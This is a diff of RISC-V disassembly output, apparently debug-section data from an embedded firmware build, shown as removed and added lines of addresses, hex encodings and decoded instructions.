-     ccc:	2040                	fld	fs0,128(s0)
-     cce:	1200                	addi	s0,sp,288
-     cd0:	245e                	fld	fs0,464(sp)
-     cd2:	2040                	fld	fs0,128(s0)
-     cd4:	1d44                	addi	s1,sp,692
-     cd6:	0000                	unimp
-     cd8:	00000cc7          	fmsub.s	fs9,ft0,ft0,ft0,rne
-     cdc:	025a0113          	addi	sp,s4,37
-     ce0:	0079                	c.nop	30
-     ce2:	015b0113          	addi	sp,s6,21
-     ce6:	1330                	addi	a2,sp,424
-     ce8:	5c01                	li	s8,-32
-     cea:	4001                	c.li	zero,0
-     cec:	1200                	addi	s0,sp,288
-     cee:	246e                	fld	fs0,216(sp)
-     cf0:	2040                	fld	fs0,128(s0)
-     cf2:	1d44                	addi	s1,sp,692
-     cf4:	0000                	unimp
-     cf6:	0ce5                	addi	s9,s9,25
-     cf8:	0000                	unimp
-     cfa:	025a0113          	addi	sp,s4,37
-     cfe:	0082                	c.slli64	ra
-     d00:	015b0113          	addi	sp,s6,21
-     d04:	1330                	addi	a2,sp,424
-     d06:	5c01                	li	s8,-32
-     d08:	4001                	c.li	zero,0
-     d0a:	1200                	addi	s0,sp,288
-     d0c:	247a                	fld	fs0,408(sp)
-     d0e:	2040                	fld	fs0,128(s0)
-     d10:	1d44                	addi	s1,sp,692
-     d12:	0000                	unimp
-     d14:	00000d03          	lb	s10,0(zero) # 0 <__stack_size-0x800>
-     d18:	025a0113          	addi	sp,s4,37
-     d1c:	01130083          	lb	ra,17(t1) # ffffb011 <_heap_end+0x7ffec811>
-     d20:	1330015b          	0x1330015b
-     d24:	5c01                	li	s8,-32
-     d26:	4001                	c.li	zero,0
-     d28:	1200                	addi	s0,sp,288
-     d2a:	249a                	fld	fs1,384(sp)
-     d2c:	2040                	fld	fs0,128(s0)
-     d2e:	1d38                	addi	a4,sp,696
+     964:	0400                	addi	s0,sp,512
+     966:	0a00                	addi	s0,sp,272
+     968:	22d5                	jal	b4c <__stack_size+0x34c>
+     96a:	0000                	unimp
+     96c:	00740407          	0x740407
+     970:	0000                	unimp
+     972:	0f02                	c.slli64	t5
+     974:	e106                	fsw	ft1,128(sp)
+     976:	0000                	unimp
+     978:	0b00                	addi	s0,sp,400
+     97a:	4dc4                	lw	s1,28(a1)
+     97c:	0000                	unimp
+     97e:	0b00                	addi	s0,sp,400
+     980:	9e52                	add	t3,t3,s4
+     982:	0000                	unimp
+     984:	0001                	nop
+     986:	9b0a                	add	s6,s6,sp
+     988:	00a2                	slli	ra,ra,0x8
+     98a:	0700                	addi	s0,sp,896
+     98c:	7404                	flw	fs1,40(s0)
+     98e:	0000                	unimp
+     990:	0200                	addi	s0,sp,256
+     992:	0610                	addi	a2,sp,768
+     994:	0100                	addi	s0,sp,128
+     996:	0000                	unimp
+     998:	00a2390b          	0xa2390b
+     99c:	0000                	unimp
+     99e:	00a1fd0b          	0xa1fd0b
+     9a2:	0100                	addi	s0,sp,128
+     9a4:	0c00                	addi	s0,sp,528
+     9a6:	00005773          	csrrwi	a4,ustatus,0
+     9aa:	1202                	slli	tp,tp,0x20
+     9ac:	9415                	srai	s0,s0,0x25
+     9ae:	0000                	unimp
+     9b0:	0d00                	addi	s0,sp,656
+     9b2:	a222                	fsd	fs0,256(sp)
+     9b4:	0000                	unimp
+     9b6:	3701                	jal	8b6 <__stack_size+0xb6>
+     9b8:	b215                	j	2dc <__stack_size-0x524>
+     9ba:	0001                	nop
+     9bc:	1000                	addi	s0,sp,32
+     9be:	401e                	0x401e
+     9c0:	5420                	lw	s0,104(s0)
+     9c2:	0000                	unimp
+     9c4:	0100                	addi	s0,sp,128
+     9c6:	b29c                	fsd	fa5,32(a3)
+     9c8:	0001                	nop
+     9ca:	0e00                	addi	s0,sp,784
+     9cc:	6d7a                	flw	fs10,156(sp)
+     9ce:	0062                	c.slli	zero,0x18
+     9d0:	3701                	jal	8d0 <__stack_size+0xd0>
+     9d2:	8232                	mv	tp,a2
+     9d4:	0000                	unimp
+     9d6:	3100                	fld	fs0,32(a0)
+     9d8:	0002                	c.slli64	zero
+     9da:	0f00                	addi	s0,sp,912
+     9dc:	0000a24b          	fnmsub.s	ft4,ft1,ft0,ft0,rdn
+     9e0:	3701                	jal	8e0 <__stack_size+0xe0>
+     9e2:	c249                	beqz	a2,a64 <__stack_size+0x264>
+     9e4:	0000                	unimp
+     9e6:	5d00                	lw	s0,56(a0)
+     9e8:	0002                	c.slli64	zero
+     9ea:	1000                	addi	s0,sp,32
+     9ec:	6d7a                	flw	fs10,156(sp)
+     9ee:	0100                	addi	s0,sp,128
+     9f0:	1639                	addi	a2,a2,-18
+     9f2:	01b2                	slli	gp,gp,0xc
+     9f4:	0000                	unimp
+     9f6:	0289                	addi	t0,t0,2
+     9f8:	0000                	unimp
+     9fa:	2a11                	jal	b0e <__stack_size+0x30e>
+     9fc:	401e                	0x401e
+     9fe:	b320                	fsd	fs0,96(a4)
+     a00:	6c000003          	lb	zero,1728(zero) # 6c0 <__stack_size-0x140>
+     a04:	0001                	nop
+     a06:	1200                	addi	s0,sp,288
+     a08:	5a01                	li	s4,-32
+     a0a:	0305                	addi	t1,t1,1
+     a0c:	4264                	lw	s1,68(a2)
+     a0e:	2040                	fld	fs0,128(s0)
+     a10:	1100                	addi	s0,sp,160
+     a12:	1e3a                	slli	t3,t3,0x2e
+     a14:	2040                	fld	fs0,128(s0)
+     a16:	000003b3          	add	t2,zero,zero
+     a1a:	00000183          	lb	gp,0(zero) # 0 <__stack_size-0x800>
+     a1e:	0112                	slli	sp,sp,0x4
+     a20:	055a                	slli	a0,a0,0x16
+     a22:	40426403          	0x40426403
+     a26:	0020                	addi	s0,sp,8
+     a28:	4a11                	li	s4,4
+     a2a:	401e                	0x401e
+     a2c:	9620                	0x9620
+     a2e:	0002                	c.slli64	zero
+     a30:	a100                	fsd	fs0,0(a0)
+     a32:	0001                	nop
+     a34:	1200                	addi	s0,sp,288
+     a36:	5a01                	li	s4,-32
+     a38:	3001                	jal	238 <__stack_size-0x5c8>
+     a3a:	0112                	slli	sp,sp,0x4
+     a3c:	0079025b          	0x79025b
+     a40:	0112                	slli	sp,sp,0x4
+     a42:	015d                	addi	sp,sp,23
+     a44:	0030                	addi	a2,sp,8
+     a46:	401e5613          	srai	a2,t3,0x1
+     a4a:	bf20                	fsd	fs0,120(a4)
+     a4c:	12000003          	lb	zero,288(zero) # 120 <__stack_size-0x6e0>
+     a50:	5a01                	li	s4,-32
+     a52:	7802                	flw	fa6,32(sp)
+     a54:	0000                	unimp
+     a56:	0500                	addi	s0,sp,640
+     a58:	9a04                	0x9a04
+     a5a:	0000                	unimp
+     a5c:	0d00                	addi	s0,sp,656
+     a5e:	a224                	fsd	fs1,64(a2)
+     a60:	0000                	unimp
+     a62:	1f01                	addi	t5,t5,-32
+     a64:	00008207          	0x8207
+     a68:	8400                	0x8400
+     a6a:	401d                	c.li	zero,7
+     a6c:	8c20                	0x8c20
+     a6e:	0000                	unimp
+     a70:	0100                	addi	s0,sp,128
+     a72:	969c                	0x969c
+     a74:	0002                	c.slli64	zero
+     a76:	0e00                	addi	s0,sp,784
+     a78:	6d7a                	flw	fs10,156(sp)
+     a7a:	0100                	addi	s0,sp,128
+     a7c:	301f 01b2 0000      	0x1b2301f
+     a82:	000002a7          	0x2a7
+     a86:	00a24b0f          	0xa24b0f
+     a8a:	0100                	addi	s0,sp,128
+     a8c:	461f 00c2 0000      	0xc2461f
+     a92:	000002d3          	fadd.s	ft5,ft0,ft0,rne
+     a96:	7314                	flw	fa3,32(a4)
+     a98:	0071                	c.nop	28
+     a9a:	0100                	addi	s0,sp,128
+     a9c:	0822                	slli	a6,a6,0x8
+     a9e:	0082                	c.slli64	ra
+     aa0:	0000                	unimp
+     aa2:	02ff                	0x2ff
+     aa4:	0000                	unimp
+     aa6:	7b14                	flw	fa3,48(a4)
+     aa8:	00a2                	slli	ra,ra,0x8
+     aaa:	0100                	addi	s0,sp,128
+     aac:	0b24                	addi	s1,sp,408
+     aae:	004c                	addi	a1,sp,4
+     ab0:	0000                	unimp
+     ab2:	031d                	addi	t1,t1,7
+     ab4:	0000                	unimp
+     ab6:	9e11                	0x9e11
+     ab8:	401d                	c.li	zero,7
+     aba:	b320                	fsd	fs0,96(a4)
+     abc:	28000003          	lb	zero,640(zero) # 280 <__stack_size-0x580>
+     ac0:	0002                	c.slli64	zero
+     ac2:	1200                	addi	s0,sp,288
+     ac4:	5a01                	li	s4,-32
+     ac6:	0305                	addi	t1,t1,1
+     ac8:	4264                	lw	s1,68(a2)
+     aca:	2040                	fld	fs0,128(s0)
+     acc:	1500                	addi	s0,sp,672
+     ace:	1daa                	slli	s11,s11,0x2a
+     ad0:	2040                	fld	fs0,128(s0)
+     ad2:	000003cb          	fnmsub.s	ft7,ft0,ft0,ft0,rne
+     ad6:	b811                	j	2ea <__stack_size-0x516>
+     ad8:	401d                	c.li	zero,7
+     ada:	b320                	fsd	fs0,96(a4)
+     adc:	48000003          	lb	zero,1152(zero) # 480 <__stack_size-0x380>
+     ae0:	0002                	c.slli64	zero
+     ae2:	1200                	addi	s0,sp,288
+     ae4:	5a01                	li	s4,-32
+     ae6:	0305                	addi	t1,t1,1
+     ae8:	4264                	lw	s1,68(a2)
+     aea:	2040                	fld	fs0,128(s0)
+     aec:	1100                	addi	s0,sp,160
+     aee:	1dca                	slli	s11,s11,0x32
+     af0:	2040                	fld	fs0,128(s0)
+     af2:	000003d7          	0x3d7
+     af6:	0265                	addi	tp,tp,25
+     af8:	0000                	unimp
+     afa:	0112                	slli	sp,sp,0x4
+     afc:	025a                	slli	tp,tp,0x16
+     afe:	0078                	addi	a4,sp,12
+     b00:	0112                	slli	sp,sp,0x4
+     b02:	6403055b          	0x6403055b
+     b06:	4042                	0x4042
+     b08:	0020                	addi	s0,sp,8
+     b0a:	d611                	beqz	a2,a16 <__stack_size+0x216>
+     b0c:	401d                	c.li	zero,7
+     b0e:	b320                	fsd	fs0,96(a4)
+     b10:	7c000003          	lb	zero,1984(zero) # 7c0 <__stack_size-0x40>
+     b14:	0002                	c.slli64	zero
+     b16:	1200                	addi	s0,sp,288
+     b18:	5a01                	li	s4,-32
+     b1a:	0305                	addi	t1,t1,1
+     b1c:	4264                	lw	s1,68(a2)
+     b1e:	2040                	fld	fs0,128(s0)
+     b20:	1500                	addi	s0,sp,672
+     b22:	1df8                	addi	a4,sp,764
+     b24:	2040                	fld	fs0,128(s0)
+     b26:	000003d7          	0x3d7
+     b2a:	401e0213          	addi	tp,t3,1025 # 19401 <__stack_size+0x18c01>
+     b2e:	3c20                	fld	fs0,120(s0)
+     b30:	12000003          	lb	zero,288(zero) # 120 <__stack_size-0x6e0>
+     b34:	5a01                	li	s4,-32
+     b36:	7902                	flw	fs2,32(sp)
+     b38:	0000                	unimp
+     b3a:	0d00                	addi	s0,sp,656
+     b3c:	a26c                	fsd	fa1,192(a2)
+     b3e:	0000                	unimp
+     b40:	1301                	addi	t1,t1,-32
+     b42:	b216                	fsd	ft5,288(sp)
+     b44:	0001                	nop
+     b46:	4400                	lw	s0,8(s0)
+     b48:	401d                	c.li	zero,7
+     b4a:	4020                	lw	s0,64(s0)
+     b4c:	0000                	unimp
+     b4e:	0100                	addi	s0,sp,128
+     b50:	3c9c                	fld	fa5,56(s1)
+     b52:	0e000003          	lb	zero,224(zero) # e0 <__stack_size-0x720>
+     b56:	6d7a                	flw	fs10,156(sp)
+     b58:	0100                	addi	s0,sp,128
+     b5a:	01b23913          	sltiu	s2,tp,27
+     b5e:	0000                	unimp
+     b60:	0349                	addi	t1,t1,18
+     b62:	0000                	unimp
+     b64:	0010a00f          	0x10a00f
+     b68:	0100                	addi	s0,sp,128
+     b6a:	00824313          	xori	t1,tp,8
+     b6e:	0000                	unimp
+     b70:	0380                	addi	s0,sp,448
+     b72:	0000                	unimp
+     b74:	00a2100f          	0xa2100f
+     b78:	0100                	addi	s0,sp,128
+     b7a:	004c5213          	srli	tp,s8,0x4
+     b7e:	0000                	unimp
+     b80:	03ac                	addi	a1,sp,456
+     b82:	0000                	unimp
+     b84:	00a2180f          	0xa2180f
+     b88:	0100                	addi	s0,sp,128
+     b8a:	00e16a13          	ori	s4,sp,14
+     b8e:	0000                	unimp
+     b90:	03cd                	addi	t2,t2,19
+     b92:	0000                	unimp
+     b94:	5615                	li	a2,-27
+     b96:	401d                	c.li	zero,7
+     b98:	7c20                	flw	fs0,120(s0)
+     b9a:	11000003          	lb	zero,272(zero) # 110 <__stack_size-0x6f0>
+     b9e:	1d5e                	slli	s10,s10,0x37
+     ba0:	2040                	fld	fs0,128(s0)
+     ba2:	000003cb          	fnmsub.s	ft7,ft0,ft0,ft0,rne
+     ba6:	030c                	addi	a1,sp,384
+     ba8:	0000                	unimp
+     baa:	0112                	slli	sp,sp,0x4
+     bac:	025a                	slli	tp,tp,0x16
+     bae:	0079                	c.nop	30
+     bb0:	1100                	addi	s0,sp,160
+     bb2:	1d68                	addi	a0,sp,700
+     bb4:	2040                	fld	fs0,128(s0)
+     bb6:	000003e3          	beqz	zero,13bc <__stack_size+0xbbc>
+     bba:	0325                	addi	t1,t1,9
+     bbc:	0000                	unimp
+     bbe:	0112                	slli	sp,sp,0x4
+     bc0:	1230015b          	0x1230015b
+     bc4:	5c01                	li	s8,-32
+     bc6:	7902                	flw	fs2,32(sp)
+     bc8:	0000                	unimp
+     bca:	401d7613          	andi	a2,s10,1025
+     bce:	d720                	sw	s0,104(a4)
+     bd0:	12000003          	lb	zero,288(zero) # 120 <__stack_size-0x6e0>
+     bd4:	5b01                	li	s6,-32
+     bd6:	8202                	jr	tp
+     bd8:	1200                	addi	s0,sp,288
+     bda:	5c01                	li	s8,-32
+     bdc:	7902                	flw	fs2,32(sp)
+     bde:	0000                	unimp
+     be0:	1600                	addi	s0,sp,800
+     be2:	21cd                	jal	10c4 <__stack_size+0x8c4>
+     be4:	0000                	unimp
+     be6:	0c01                	addi	s8,s8,0
+     be8:	2a06                	fld	fs4,64(sp)
+     bea:	401d                	c.li	zero,7
+     bec:	1a20                	addi	s0,sp,312
+     bee:	0000                	unimp
+     bf0:	0100                	addi	s0,sp,128
+     bf2:	7c9c                	flw	fa5,56(s1)
+     bf4:	0e000003          	lb	zero,224(zero) # e0 <__stack_size-0x720>
+     bf8:	6d7a                	flw	fs10,156(sp)
+     bfa:	0100                	addi	s0,sp,128
+     bfc:	2a0c                	fld	fa1,16(a2)
+     bfe:	01b2                	slli	gp,gp,0xc
+     c00:	0000                	unimp
+     c02:	03ee                	slli	t2,t2,0x1b
+     c04:	0000                	unimp
+     c06:	3815                	jal	43a <__stack_size-0x3c6>
+     c08:	401d                	c.li	zero,7
+     c0a:	bf20                	fsd	fs0,120(a4)
+     c0c:	17000003          	lb	zero,368(zero) # 170 <__stack_size-0x690>
+     c10:	1d44                	addi	s1,sp,692
+     c12:	2040                	fld	fs0,128(s0)
+     c14:	000003bf 035a0112 	0x35a0112000003bf
+     c1c:	005a01f3          	0x5a01f3
+     c20:	1800                	addi	s0,sp,48
+     c22:	a25c                	fsd	fa5,128(a2)
+     c24:	0000                	unimp
+     c26:	0401                	addi	s0,s0,0
+     c28:	b215                	j	54c <__stack_size-0x2b4>
+     c2a:	0001                	nop
+     c2c:	1200                	addi	s0,sp,288
+     c2e:	401d                	c.li	zero,7
+     c30:	1820                	addi	s0,sp,56
+     c32:	0000                	unimp
+     c34:	0100                	addi	s0,sp,128
+     c36:	b39c                	fsd	fa5,32(a5)
+     c38:	19000003          	lb	zero,400(zero) # 190 <__stack_size-0x670>
+     c3c:	6d7a                	flw	fs10,156(sp)
+     c3e:	0100                	addi	s0,sp,128
+     c40:	1606                	slli	a2,a2,0x21
+     c42:	01b2                	slli	gp,gp,0xc
+     c44:	0000                	unimp
+     c46:	5a01                	li	s4,-32
+     c48:	401d1c13          	0x401d1c13
+     c4c:	cb20                	sw	s0,80(a4)
+     c4e:	12000003          	lb	zero,288(zero) # 120 <__stack_size-0x6e0>
+     c52:	5a01                	li	s4,-32
+     c54:	3801                	jal	464 <__stack_size-0x39c>
+     c56:	0000                	unimp
+     c58:	0c1a                	slli	s8,s8,0x6
+     c5a:	0071                	c.nop	28
+     c5c:	0c00                	addi	s0,sp,528
+     c5e:	0071                	c.nop	28
+     c60:	0300                	addi	s0,sp,384
+     c62:	0929                	addi	s2,s2,10
+     c64:	9b1a                	add	s6,s6,t1
+     c66:	0021                	c.nop	8
+     c68:	9b00                	0x9b00
+     c6a:	0021                	c.nop	8
+     c6c:	0400                	addi	s0,sp,512
+     c6e:	065e                	slli	a2,a2,0x17
+     c70:	aa1a                	fsd	ft6,272(sp)
+     c72:	0026                	c.slli	zero,0x9
+     c74:	aa00                	fsd	fs0,16(a2)
+     c76:	0026                	c.slli	zero,0x9
+     c78:	0400                	addi	s0,sp,512
+     c7a:	076c                	addi	a1,sp,908
+     c7c:	391a                	fld	fs2,416(sp)
+     c7e:	39000013          	li	zero,912
+     c82:	03000013          	li	zero,48
+     c86:	091f 551a 00a2      	0xa2551a091f
+     c8c:	5500                	lw	s0,40(a0)
+     c8e:	00a2                	slli	ra,ra,0x8
+     c90:	0300                	addi	s0,sp,384
+     c92:	0921                	addi	s2,s2,8
+     c94:	7b00                	flw	fs0,48(a4)
+     c96:	000d                	c.nop	3
+     c98:	0400                	addi	s0,sp,512
+     c9a:	8500                	0x8500
+     c9c:	04000003          	lb	zero,64(zero) # 40 <__stack_size-0x7c0>
+     ca0:	ad01                	j	12b0 <__stack_size+0xab0>
+     ca2:	004e                	c.slli	zero,0x13
+     ca4:	0c00                	addi	s0,sp,528
+     ca6:	a33c                	fsd	fa5,64(a4)
+     ca8:	0000                	unimp
+     caa:	001a                	c.slli	zero,0x6
+     cac:	0000                	unimp
+     cae:	0198                	addi	a4,sp,192
+     cb0:	0000                	unimp
+     cb2:	0000                	unimp
+     cb4:	0000                	unimp
+     cb6:	10fd                	addi	ra,ra,-1
+     cb8:	0000                	unimp
+     cba:	2a8e                	fld	fs5,192(sp)
+     cbc:	0000                	unimp
+     cbe:	0102                	c.slli64	sp
+     cc0:	6d06                	flw	fs10,64(sp)
+     cc2:	007f                	0x7f
+     cc4:	0200                	addi	s0,sp,256
+     cc6:	0502                	c.slli64	a0
+     cc8:	3822                	fld	fa6,40(sp)
+     cca:	0000                	unimp
+     ccc:	0402                	c.slli64	s0
+     cce:	8405                	srai	s0,s0,0x1
+     cd0:	0051                	c.nop	20
+     cd2:	0200                	addi	s0,sp,256
+     cd4:	0508                	addi	a0,sp,640
+     cd6:	90b6                	add	ra,ra,a3
+     cd8:	0000                	unimp
+     cda:	00047603          	0x47603
+     cde:	0200                	addi	s0,sp,256
+     ce0:	182e                	slli	a6,a6,0x2b
+     ce2:	0051                	c.nop	20
+     ce4:	0000                	unimp
+     ce6:	0102                	c.slli64	sp
+     ce8:	a008                	fsd	fa0,0(s0)
+     cea:	03000013          	li	zero,48
+     cee:	2271                	jal	e7a <__stack_size+0x67a>
+     cf0:	0000                	unimp
+     cf2:	3102                	fld	ft2,32(sp)
+     cf4:	6419                	lui	s0,0x6
+     cf6:	0000                	unimp
+     cf8:	0200                	addi	s0,sp,256
+     cfa:	0702                	c.slli64	a4
+     cfc:	00009bf7          	0x9bf7
+     d00:	0027ed03          	0x27ed03
+     d04:	0200                	addi	s0,sp,256
+     d06:	1934                	addi	a3,sp,184
+     d08:	00000077          	0x77
+     d0c:	0402                	c.slli64	s0
+     d0e:	0065cd07          	flq	fs10,6(a1)
+     d12:	0200                	addi	s0,sp,256
+     d14:	0708                	addi	a0,sp,896
+     d16:	00000617          	auipc	a2,0x0
+     d1a:	0404                	addi	s1,sp,512
+     d1c:	6905                	lui	s2,0x1
+     d1e:	746e                	flw	fs0,248(sp)
+     d20:	0500                	addi	s0,sp,640
+     d22:	0085                	addi	ra,ra,1
+     d24:	0000                	unimp
+     d26:	0402                	c.slli64	s0
+     d28:	0071e507          	0x71e507
+     d2c:	0600                	addi	s0,sp,768
+     d2e:	9e04                	0x9e04
      d30:	0000                	unimp
-     d32:	0d20                	addi	s0,sp,664
-     d34:	0000                	unimp
-     d36:	025a0113          	addi	sp,s4,37
-     d3a:	0078                	addi	a4,sp,12
-     d3c:	055b0113          	addi	sp,s6,85
-     d40:	4058e003          	0x4058e003
-     d44:	0020                	addi	s0,sp,8
-     d46:	fe12                	fsw	ft4,60(sp)
-     d48:	4024                	lw	s1,64(s0)
-     d4a:	3820                	fld	fs0,112(s0)
-     d4c:	001d                	c.nop	7
-     d4e:	3d00                	fld	fs0,56(a0)
-     d50:	000d                	c.nop	3
-     d52:	1300                	addi	s0,sp,416
-     d54:	5a01                	li	s4,-32
-     d56:	7802                	flw	fa6,32(sp)
-     d58:	1300                	addi	s0,sp,416
-     d5a:	5b01                	li	s6,-32
-     d5c:	0305                	addi	t1,t1,1
-     d5e:	5920                	lw	s0,112(a0)
-     d60:	2040                	fld	fs0,128(s0)
-     d62:	1200                	addi	s0,sp,288
-     d64:	255c                	fld	fa5,136(a0)
-     d66:	2040                	fld	fs0,128(s0)
-     d68:	1d38                	addi	a4,sp,696
-     d6a:	0000                	unimp
-     d6c:	0d5a                	slli	s10,s10,0x16
-     d6e:	0000                	unimp
-     d70:	025a0113          	addi	sp,s4,37
-     d74:	0078                	addi	a4,sp,12
-     d76:	055b0113          	addi	sp,s6,85
-     d7a:	40596c03          	0x40596c03
-     d7e:	0020                	addi	s0,sp,8
-     d80:	a412                	fsd	ft4,8(sp)
-     d82:	4025                	c.li	zero,9
-     d84:	3820                	fld	fs0,112(s0)
-     d86:	001d                	c.nop	7
-     d88:	7700                	flw	fs0,40(a4)
-     d8a:	000d                	c.nop	3
-     d8c:	1300                	addi	s0,sp,416
-     d8e:	5a01                	li	s4,-32
-     d90:	7802                	flw	fa6,32(sp)
-     d92:	1300                	addi	s0,sp,416
-     d94:	5b01                	li	s6,-32
-     d96:	0305                	addi	t1,t1,1
-     d98:	5974                	lw	a3,116(a0)
-     d9a:	2040                	fld	fs0,128(s0)
-     d9c:	1200                	addi	s0,sp,288
-     d9e:	2658                	fld	fa4,136(a2)
-     da0:	2040                	fld	fs0,128(s0)
-     da2:	1d38                	addi	a4,sp,696
-     da4:	0000                	unimp
-     da6:	0d94                	addi	a3,sp,720
-     da8:	0000                	unimp
-     daa:	025a0113          	addi	sp,s4,37
-     dae:	0078                	addi	a4,sp,12
-     db0:	055b0113          	addi	sp,s6,85
-     db4:	4059ac03          	lw	s8,1029(s3)
-     db8:	0020                	addi	s0,sp,8
-     dba:	6a1e                	flw	fs4,196(sp)
-     dbc:	4026                	0x4026
-     dbe:	ca20                	sw	s0,80(a2)
-     dc0:	0011                	c.nop	4
-     dc2:	1200                	addi	s0,sp,288
-     dc4:	2678                	fld	fa4,200(a2)
-     dc6:	2040                	fld	fs0,128(s0)
-     dc8:	1d38                	addi	a4,sp,696
-     dca:	0000                	unimp
-     dcc:	0dba                	slli	s11,s11,0xe
-     dce:	0000                	unimp
-     dd0:	025a0113          	addi	sp,s4,37
-     dd4:	0078                	addi	a4,sp,12
-     dd6:	055b0113          	addi	sp,s6,85
-     dda:	4059b403          	0x4059b403
-     dde:	0020                	addi	s0,sp,8
-     de0:	8e12                	mv	t3,tp
-     de2:	4026                	0x4026
-     de4:	3820                	fld	fs0,112(s0)
-     de6:	001d                	c.nop	7
-     de8:	d700                	sw	s0,40(a4)
-     dea:	000d                	c.nop	3
-     dec:	1300                	addi	s0,sp,416
-     dee:	5a01                	li	s4,-32
-     df0:	7802                	flw	fa6,32(sp)
-     df2:	1300                	addi	s0,sp,416
-     df4:	5b01                	li	s6,-32
-     df6:	0305                	addi	t1,t1,1
-     df8:	59bc                	lw	a5,112(a1)
-     dfa:	2040                	fld	fs0,128(s0)
-     dfc:	1e00                	addi	s0,sp,816
-     dfe:	269e                	fld	fa3,448(sp)
-     e00:	2040                	fld	fs0,128(s0)
-     e02:	1058                	addi	a4,sp,36
-     e04:	0000                	unimp
-     e06:	ac12                	fsd	ft4,24(sp)
-     e08:	4026                	0x4026
-     e0a:	3820                	fld	fs0,112(s0)
-     e0c:	001d                	c.nop	7
-     e0e:	fd00                	fsw	fs0,56(a0)
-     e10:	000d                	c.nop	3
-     e12:	1300                	addi	s0,sp,416
-     e14:	5a01                	li	s4,-32
-     e16:	7802                	flw	fa6,32(sp)
-     e18:	1300                	addi	s0,sp,416
-     e1a:	5b01                	li	s6,-32
-     e1c:	0305                	addi	t1,t1,1
-     e1e:	59c0                	lw	s0,52(a1)
-     e20:	2040                	fld	fs0,128(s0)
-     e22:	1b00                	addi	s0,sp,432
-     e24:	26c2                	fld	fa3,16(sp)
-     e26:	2040                	fld	fs0,128(s0)
-     e28:	1d38                	addi	a4,sp,696
-     e2a:	0000                	unimp
-     e2c:	025a0113          	addi	sp,s4,37
-     e30:	0078                	addi	a4,sp,12
-     e32:	055b0113          	addi	sp,s6,85
-     e36:	4059c803          	lbu	a6,1029(s3)
-     e3a:	0020                	addi	s0,sp,8
-     e3c:	0800                	addi	s0,sp,16
-     e3e:	00f8                	addi	a4,sp,76
-     e40:	0000                	unimp
-     e42:	00000e27          	0xe27
-     e46:	a009                	j	e48 <__stack_size+0x648>
-     e48:	0000                	unimp
-     e4a:	0300                	addi	s0,sp,384
-     e4c:	0800                	addi	s0,sp,16
-     e4e:	00ec                	addi	a1,sp,76
+     d32:	0200                	addi	s0,sp,256
+     d34:	0801                	addi	a6,a6,0
+     d36:	7f74                	flw	fa3,124(a4)
+     d38:	0000                	unimp
+     d3a:	9e05                	0x9e05
+     d3c:	0000                	unimp
+     d3e:	0200                	addi	s0,sp,256
+     d40:	0410                	addi	a2,sp,512
+     d42:	00009233          	sll	tp,ra,zero
+     d46:	0406                	slli	s0,s0,0x1
+     d48:	00a5                	addi	ra,ra,9
+     d4a:	0000                	unimp
+     d4c:	008b6d07          	0x8b6d07
+     d50:	0800                	addi	s0,sp,16
+     d52:	df080a03          	lb	s4,-528(a6) # 4b054 <__stack_size+0x4a854>
+     d56:	0000                	unimp
+     d58:	0800                	addi	s0,sp,16
+     d5a:	656c                	flw	fa1,76(a0)
+     d5c:	006e                	c.slli	zero,0x1b
+     d5e:	580b0b03          	lb	s6,1408(s6)
+     d62:	0000                	unimp
+     d64:	0000                	unimp
+     d66:	a009                	j	d68 <__stack_size+0x568>
+     d68:	0010                	0x10
+     d6a:	0300                	addi	s0,sp,384
+     d6c:	080c                	addi	a1,sp,16
+     d6e:	0098                	addi	a4,sp,64
+     d70:	0000                	unimp
+     d72:	0004                	0x4
+     d74:	d50a                	sw	sp,168(sp)
+     d76:	0022                	c.slli	zero,0x8
+     d78:	0700                	addi	s0,sp,896
+     d7a:	9104                	0x9104
+     d7c:	0000                	unimp
+     d7e:	0300                	addi	s0,sp,384
+     d80:	00fe060f          	0xfe060f
+     d84:	0000                	unimp
+     d86:	004dc40b          	0x4dc40b
+     d8a:	0000                	unimp
+     d8c:	009e520b          	0x9e520b
+     d90:	0100                	addi	s0,sp,128
+     d92:	0c00                	addi	s0,sp,528
+     d94:	00005773          	csrrwi	a4,ustatus,0
+     d98:	b1151203          	lh	tp,-1263(a0) # 1ab11 <__stack_size+0x1a311>
+     d9c:	0000                	unimp
+     d9e:	0d00                	addi	s0,sp,656
+     da0:	8b69                	andi	a4,a4,26
+     da2:	0000                	unimp
+     da4:	8d01                	sub	a0,a0,s0
+     da6:	7315                	lui	t1,0xfffe5
+     da8:	0005                	c.nop	1
+     daa:	4600                	lw	s0,8(a2)
+     dac:	4020                	lw	s0,64(s0)
+     dae:	5220                	lw	s0,96(a2)
+     db0:	0002                	c.slli64	zero
+     db2:	0100                	addi	s0,sp,128
+     db4:	739c                	flw	fa5,32(a5)
+     db6:	0005                	c.nop	1
+     db8:	0e00                	addi	s0,sp,784
+     dba:	6d7a                	flw	fs10,156(sp)
+     dbc:	0100                	addi	s0,sp,128
+     dbe:	398d                	jal	a30 <__stack_size+0x230>
+     dc0:	00000573          	0x573
+     dc4:	0425                	addi	s0,s0,9
+     dc6:	0000                	unimp
+     dc8:	00a2e80f          	0xa2e80f
+     dcc:	0100                	addi	s0,sp,128
+     dce:	458d                	li	a1,3
+     dd0:	0045                	c.nop	17
+     dd2:	0000                	unimp
+     dd4:	0459                	addi	s0,s0,22
+     dd6:	0000                	unimp
+     dd8:	00a24b0f          	0xa24b0f
+     ddc:	0100                	addi	s0,sp,128
+     dde:	638d                	lui	t2,0x3
+     de0:	00df 0000 047a      	0x47a000000df
+     de6:	0000                	unimp
+     de8:	7a10                	flw	fa2,48(a2)
+     dea:	626d                	lui	tp,0x1b
+     dec:	0100                	addi	s0,sp,128
+     dee:	0098088f          	0x98088f
+     df2:	0000                	unimp
+     df4:	000004bf 00a30b11 	0xa30b11000004bf
+     dfc:	0100                	addi	s0,sp,128
+     dfe:	0b91                	addi	s7,s7,4
+     e00:	0058                	addi	a4,sp,4
+     e02:	0000                	unimp
+     e04:	04dd                	addi	s1,s1,23
+     e06:	0000                	unimp
+     e08:	6c10                	flw	fa2,24(s0)
+     e0a:	6e65                	lui	t3,0x19
+     e0c:	0100                	addi	s0,sp,128
+     e0e:	00580b93          	addi	s7,a6,5
+     e12:	0000                	unimp
+     e14:	000004fb          	0x4fb
+     e18:	6111                	addi	sp,sp,256
+     e1a:	010000a3          	sb	a6,1(zero) # 1 <__stack_size-0x7ff>
+     e1e:	0bb0                	addi	a2,sp,472
+     e20:	0058                	addi	a4,sp,4
+     e22:	0000                	unimp
+     e24:	0519                	addi	a0,a0,6
+     e26:	0000                	unimp
+     e28:	7812                	flw	fa6,36(sp)
+     e2a:	4021                	c.li	zero,8
+     e2c:	a620                	fsd	fs0,72(a2)
+     e2e:	0000                	unimp
